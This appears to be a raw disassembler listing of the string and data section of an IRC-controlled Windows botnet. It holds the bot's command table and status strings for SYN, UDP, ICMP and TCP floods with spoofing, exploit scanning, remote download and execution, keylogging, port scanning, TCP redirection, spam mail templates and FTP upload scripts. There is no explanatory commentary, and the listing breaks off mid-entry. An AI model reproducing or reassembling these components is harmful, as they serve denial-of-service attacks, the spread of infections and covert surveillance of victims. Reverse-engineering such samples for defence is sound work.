dword_436780	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4299o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4367AC	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+4241o
dword_4367B4	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4214o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E0	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41BBo
					; sub_40EE72+4CAFo
dword_4367E8	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co
dword_4367F4	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4132o
dword_4367FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F91o
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_436840	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E8o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4094o
		align 10h
dword_436870	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBEo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436894	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Co
					; sub_40EE72+40BFo ...
unk_4368A4	db    2			; DATA XREF: sub_40EE72:loc_412E2Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368F8	db    2			; DATA XREF: sub_40EE72+3FAFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436944	db    2			; DATA XREF: sub_40EE72+3F40o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E97o
		align 4
dword_43698C	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E35o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B4	db    2			; DATA XREF: sub_40EE72+3E2Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369E8	db    2			; DATA XREF: sub_40EE72+3DA2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A34	db    2			; DATA XREF: sub_40EE72+3D28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A74	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AFBo
					; sub_40EE72:loc_413964o
		dd 0BBBB0220h, 2002h
unk_436A90	db    2			; DATA XREF: sub_40EE72+3C71o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC4	db    2			; DATA XREF: sub_40EE72:loc_412AC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_436B0C	db    2			; DATA XREF: sub_40EE72+3C45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B54	db    2			; DATA XREF: sub_40EE72+3BD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_436B90	db    2			; DATA XREF: sub_40EE72+3B4Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BD8	db    2			; DATA XREF: sub_40EE72+3ADFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C18	db    2			; DATA XREF: sub_40EE72+3A57o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_436C60	db    2			; DATA XREF: sub_40EE72+39E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
dword_436CA0	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+394Ao
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CE8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D9o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D24	db    2			; DATA XREF: sub_40EE72+3860o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D74	db    2			; DATA XREF: sub_40EE72+37F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 10h
unk_436DB0	db    2			; DATA XREF: sub_40EE72+371Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E04	db    2			; DATA XREF: sub_40EE72+36B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E50	db    2			; DATA XREF: sub_40EE72+3622o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436E9C	db    2			; DATA XREF: sub_40EE72+35B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Fo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3432o
		align 4
dword_436F08	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A4o
					; sub_40EE72+43F1o
unk_436F14	db    2			; DATA XREF: sub_40EE72+3342o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436F5C	db    2			; DATA XREF: sub_40EE72+32D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A8o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+32A1o
					; sub_40EE72+50D6o
		align 10h
unk_436FE0	db    2			; DATA XREF: sub_40EE72+3163o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437024	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437070	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370B8	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_437128	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_437170	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371C8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_437210	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_437258	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372AC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437320	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_437398	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 10h
unk_4373F0	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 10h
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 10h
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 10h
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 10h
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_43773C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_437768	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_437798	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 4
dword_4377FC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_43782C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_43787C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_4378AC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_4378E0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437930	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43797C	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379AC	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4379DC	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A18	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
